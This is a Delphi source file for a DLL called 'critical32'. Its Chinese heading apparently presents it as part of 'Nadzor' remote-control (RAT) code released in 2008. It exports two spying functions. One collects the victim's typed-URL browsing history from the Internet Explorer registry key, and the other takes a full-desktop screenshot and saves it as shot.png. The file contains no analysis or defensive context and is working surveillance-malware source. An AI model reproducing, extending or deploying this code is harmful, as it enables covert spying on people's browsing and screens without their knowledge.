critical32.dpr.~7~

Nadzor国外08年7月分先出远控代码

library critical32;

uses
  Windows, pngimage, Registry, Classes;


function GetHistory : string;
const
 UrlKey = 'Software\Microsoft\Internet Explorer\TypedURLs';
var
 I : TRegistry;
 L : TStringList;
 Z : Integer;
 Tmp : String;
begin
 I := TRegistry.Create;
 L := TStringList.Create;
 With I do
 begin  
  try   
   RootKey := HKEY_CURRENT_USER;
   if OpenKey(UrlKey, false) then
   begin 
    GetValueNames(L);
    for Z := 0 to L.Count -1 do
     if (ReadString(L[Z]) <> '') and (Copy(ReadString(L[Z]),1,4) = 'http') then
      Tmp := Tmp + ReadString(L[Z]) + #13#10;
   end;  
  finally
   L.Free;
   CloseKey;
   Free;
  end;  
 end;   
Result := Tmp;
end;

function GetDesktopBitmap: HBitmap;
var
  DC, MemDC: HDC;
  Bitmap, OBitmap: HBitmap;
  BitmapWidth, BitmapHeight: integer;
begin
  DC := GetDC(GetDesktopWindow);
  MemDC := CreateCompatibleDC(DC);
  BitmapWidth := GetDeviceCaps(DC, 8);
  BitmapHeight := GetDeviceCaps(DC, 10);
  Bitmap := CreateCompatibleBitmap(DC, BitmapWidth, BitmapHeight);
  OBitmap := SelectObject(MemDC, Bitmap);
  BitBlt(MemDC, 0, 0, BitmapWidth, BitmapHeight, DC, 0, 0, SRCCOPY);
  SelectObject(MemDC, OBitmap);
  DeleteDC(MemDC);
  ReleaseDC(GetDesktopWindow, DC);
  Result := Bitmap;
end;

procedure Capture();
var
PNGObject : TPNGObject;
begin
  PngObject := TPngObject.Create;
  PngObject.AssignHandle(GetDesktopBitmap, False, 0);
  PngObject.CompressionLevel := 9;
  PngObject.SaveToFile('shot.png');
  PngObject.Free;
end;
                
exports Capture;
exports GetHistory;

begin
end.